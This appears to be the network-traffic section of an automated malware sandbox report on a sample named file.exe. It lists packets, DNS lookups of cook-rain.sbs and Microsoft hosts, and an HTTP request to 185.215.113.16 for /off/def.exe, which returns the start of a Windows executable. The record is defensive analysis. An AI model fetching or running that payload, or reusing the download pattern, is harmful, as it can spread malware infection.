Nov 22, 2024 01:04:18.210690975 CET	50080	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.210705042 CET	443	50080	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.394399881 CET	443	50077	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.396572113 CET	50077	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.396614075 CET	443	50077	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.396953106 CET	50077	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.396966934 CET	443	50077	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.427788019 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.429533958 CET	50076	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.429596901 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.429784060 CET	50076	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.429801941 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.765719891 CET	443	50078	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.766153097 CET	50078	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.766187906 CET	443	50078	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.766614914 CET	50078	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.766628981 CET	443	50078	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.830431938 CET	443	50077	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.833434105 CET	443	50077	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.833513021 CET	50077	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.833617926 CET	50077	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.833617926 CET	50077	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.833663940 CET	443	50077	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.833695889 CET	443	50077	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.836482048 CET	50081	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.836517096 CET	443	50081	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.836607933 CET	50081	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.836715937 CET	50081	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.836729050 CET	443	50081	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.875947952 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.875973940 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.876080036 CET	50076	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.876108885 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.876238108 CET	50076	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.876238108 CET	50076	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.876292944 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.876481056 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.876518965 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.876564026 CET	50076	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.878443956 CET	50082	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.878479004 CET	443	50082	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.878535032 CET	50082	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.878665924 CET	50082	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.878679037 CET	443	50082	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.900338888 CET	443	50079	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.900652885 CET	50079	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.900707006 CET	443	50079	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.901336908 CET	50079	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.901351929 CET	443	50079	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.991743088 CET	443	50080	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.992155075 CET	50080	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.992180109 CET	443	50080	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:19.992722988 CET	50080	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:19.992727995 CET	443	50080	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.222151041 CET	443	50078	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.222227097 CET	443	50078	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.222285986 CET	50078	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.222423077 CET	50078	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.222455025 CET	443	50078	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.222481966 CET	50078	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.222498894 CET	443	50078	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.225244999 CET	50083	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.225282907 CET	443	50083	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.225431919 CET	50083	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.225569963 CET	50083	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.225585938 CET	443	50083	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.348344088 CET	443	50079	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.351408005 CET	443	50079	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.351551056 CET	50079	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.351624012 CET	50079	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.351624012 CET	50079	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.351664066 CET	443	50079	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.351689100 CET	443	50079	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.354172945 CET	50084	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.354227066 CET	443	50084	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.354311943 CET	50084	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.354460001 CET	50084	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.354480028 CET	443	50084	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.438756943 CET	443	50080	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.441893101 CET	443	50080	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.441960096 CET	50080	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.441994905 CET	50080	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.442009926 CET	443	50080	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.442018986 CET	50080	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.442023993 CET	443	50080	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.444294930 CET	50085	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.444329023 CET	443	50085	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:20.444401979 CET	50085	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.444523096 CET	50085	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:20.444539070 CET	443	50085	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:21.555967093 CET	443	50081	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:21.587764025 CET	50081	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:21.587833881 CET	443	50081	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:21.588179111 CET	50081	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:21.588185072 CET	443	50081	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:21.730771065 CET	443	50082	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:21.786186934 CET	50082	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:21.813797951 CET	50082	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:21.813824892 CET	443	50082	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:21.814317942 CET	50082	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:21.814321995 CET	443	50082	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:21.994970083 CET	443	50081	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:21.997988939 CET	443	50081	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:21.998111010 CET	443	50081	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:21.998181105 CET	50081	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.049674988 CET	443	50083	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.075512886 CET	443	50084	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.098571062 CET	50083	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.129821062 CET	50084	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.150253057 CET	50081	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.150293112 CET	443	50081	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.150307894 CET	50081	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.150315046 CET	443	50081	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.156785965 CET	50083	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.156795025 CET	443	50083	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.159323931 CET	50083	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.159327984 CET	443	50083	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.159555912 CET	50084	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.159579992 CET	443	50084	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.161228895 CET	50084	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.161235094 CET	443	50084	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.184072018 CET	443	50082	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.187150002 CET	443	50082	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.187203884 CET	50082	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.187262058 CET	50082	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.187285900 CET	443	50082	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.187298059 CET	50082	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.187303066 CET	443	50082	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.260750055 CET	443	50085	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.261187077 CET	50085	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.261224985 CET	443	50085	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.261631966 CET	50085	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.261637926 CET	443	50085	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.715985060 CET	443	50083	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.716018915 CET	443	50084	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.716161013 CET	443	50083	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.716182947 CET	443	50084	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.716218948 CET	50083	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.716238976 CET	50084	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.716250896 CET	50083	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.716269970 CET	443	50083	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.716280937 CET	50083	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.716285944 CET	443	50083	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.717102051 CET	50084	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.717122078 CET	443	50084	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.717132092 CET	50084	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.717137098 CET	443	50084	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.929363966 CET	443	50085	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.929467916 CET	443	50085	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.929622889 CET	50085	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.930006027 CET	50085	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.930006027 CET	50085	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:22.930022001 CET	443	50085	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:22.930032015 CET	443	50085	13.107.246.63	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 01:02:17.188311100 CET	123	123	192.168.2.7	40.81.94.65
Nov 22, 2024 01:02:18.654483080 CET	123	123	40.81.94.65	192.168.2.7
Nov 22, 2024 01:02:20.067028046 CET	64220	53	192.168.2.7	1.1.1.1
Nov 22, 2024 01:02:20.297101021 CET	53	64220	1.1.1.1	192.168.2.7
Nov 22, 2024 01:02:55.767714024 CET	53	61465	1.1.1.1	192.168.2.7
Nov 22, 2024 01:02:55.894471884 CET	53	54903	1.1.1.1	192.168.2.7
Nov 22, 2024 01:02:58.715107918 CET	53	60016	1.1.1.1	192.168.2.7
Nov 22, 2024 01:03:00.084842920 CET	62714	53	192.168.2.7	1.1.1.1
Nov 22, 2024 01:03:00.085129023 CET	56096	53	192.168.2.7	1.1.1.1
Nov 22, 2024 01:03:00.221618891 CET	53	62714	1.1.1.1	192.168.2.7
Nov 22, 2024 01:03:00.222121954 CET	53	56096	1.1.1.1	192.168.2.7
Nov 22, 2024 01:03:02.585143089 CET	52840	53	192.168.2.7	1.1.1.1
Nov 22, 2024 01:03:02.585365057 CET	57950	53	192.168.2.7	1.1.1.1
Nov 22, 2024 01:03:05.654598951 CET	55509	53	192.168.2.7	1.1.1.1
Nov 22, 2024 01:03:05.655095100 CET	50822	53	192.168.2.7	1.1.1.1
Nov 22, 2024 01:03:10.626352072 CET	53	64313	1.1.1.1	192.168.2.7
Nov 22, 2024 01:03:11.226994991 CET	138	138	192.168.2.7	192.168.2.255
Nov 22, 2024 01:03:12.758876085 CET	57360	53	192.168.2.7	1.1.1.1
Nov 22, 2024 01:03:12.759316921 CET	51359	53	192.168.2.7	1.1.1.1
Nov 22, 2024 01:03:15.665287971 CET	53	49930	1.1.1.1	192.168.2.7
Nov 22, 2024 01:03:34.779618025 CET	53	56263	1.1.1.1	192.168.2.7
Nov 22, 2024 01:03:55.628766060 CET	53	52361	1.1.1.1	192.168.2.7
Nov 22, 2024 01:03:57.267899990 CET	53	62758	1.1.1.1	192.168.2.7
Nov 22, 2024 01:04:25.344705105 CET	53	58005	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 22, 2024 01:03:03.014250040 CET	192.168.2.7	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable
Nov 22, 2024 01:03:17.550251961 CET	192.168.2.7	1.1.1.1	c267	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 22, 2024 01:02:20.067028046 CET	192.168.2.7	1.1.1.1	0x376f	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:00.084842920 CET	192.168.2.7	1.1.1.1	0xdcbf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:00.085129023 CET	192.168.2.7	1.1.1.1	0x4197	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 22, 2024 01:03:02.585143089 CET	192.168.2.7	1.1.1.1	0x7f84	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:02.585365057 CET	192.168.2.7	1.1.1.1	0x5048	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 22, 2024 01:03:05.654598951 CET	192.168.2.7	1.1.1.1	0xdfdd	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:05.655095100 CET	192.168.2.7	1.1.1.1	0xd0	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 22, 2024 01:03:12.758876085 CET	192.168.2.7	1.1.1.1	0x8d62	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:12.759316921 CET	192.168.2.7	1.1.1.1	0xf210	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 22, 2024 01:02:20.297101021 CET	1.1.1.1	192.168.2.7	0x376f	No error (0)	cook-rain.sbs		104.21.66.38	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:02:20.297101021 CET	1.1.1.1	192.168.2.7	0x376f	No error (0)	cook-rain.sbs		172.67.155.248	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:00.221618891 CET	1.1.1.1	192.168.2.7	0xdcbf	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:00.222121954 CET	1.1.1.1	192.168.2.7	0x4197	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 22, 2024 01:03:02.723246098 CET	1.1.1.1	192.168.2.7	0x7f84	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:02.723246098 CET	1.1.1.1	192.168.2.7	0x7f84	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:02.723246098 CET	1.1.1.1	192.168.2.7	0x7f84	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:02.723246098 CET	1.1.1.1	192.168.2.7	0x7f84	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:02.994054079 CET	1.1.1.1	192.168.2.7	0x3529	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:03.014138937 CET	1.1.1.1	192.168.2.7	0x5048	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:03.014138937 CET	1.1.1.1	192.168.2.7	0x5048	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:03.098598003 CET	1.1.1.1	192.168.2.7	0x9b98	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:03.098598003 CET	1.1.1.1	192.168.2.7	0x9b98	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:03.098598003 CET	1.1.1.1	192.168.2.7	0x9b98	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:05.791379929 CET	1.1.1.1	192.168.2.7	0xdfdd	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:05.791379929 CET	1.1.1.1	192.168.2.7	0xdfdd	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:05.791379929 CET	1.1.1.1	192.168.2.7	0xdfdd	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:05.791379929 CET	1.1.1.1	192.168.2.7	0xdfdd	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:05.793334007 CET	1.1.1.1	192.168.2.7	0xd0	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:05.793334007 CET	1.1.1.1	192.168.2.7	0xd0	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:05.915612936 CET	1.1.1.1	192.168.2.7	0xa09e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:05.915612936 CET	1.1.1.1	192.168.2.7	0xa09e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:05.915612936 CET	1.1.1.1	192.168.2.7	0xa09e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 22, 2024 01:03:05.916716099 CET	1.1.1.1	192.168.2.7	0xadb0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:12.993264914 CET	1.1.1.1	192.168.2.7	0xf210	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:12.995093107 CET	1.1.1.1	192.168.2.7	0x8d62	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:17.482100964 CET	1.1.1.1	192.168.2.7	0x8f16	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:17.550189018 CET	1.1.1.1	192.168.2.7	0xcecf	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:24.240348101 CET	1.1.1.1	192.168.2.7	0x9250	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 01:03:24.240367889 CET	1.1.1.1	192.168.2.7	0x6a7d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

cook-rain.sbs

slscr.update.microsoft.com

fs.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49773	185.215.113.16	80	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 01:02:44.798976898 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 22, 2024 01:02:46.131346941 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 00:02:45 GMT Content-Type: application/octet-stream Content-Length: 2780672 Last-Modified: Thu, 21 Nov 2024 23:56:58 GMT Connection: keep-alive ETag: "673fc8ca-2a6e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 53 68 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +Sh+`Ui` @ @.rsrc`2@.idata 8@xroslrsm *:@dcdwuwuv H@.taggant@"L*@
Nov 22, 2024 01:02:46.131421089 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 01:02:46.131582975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 01:02:46.131674051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 01:02:46.131692886 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 01:02:46.131714106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 01:02:46.131773949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 01:02:46.131797075 CET	1120	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
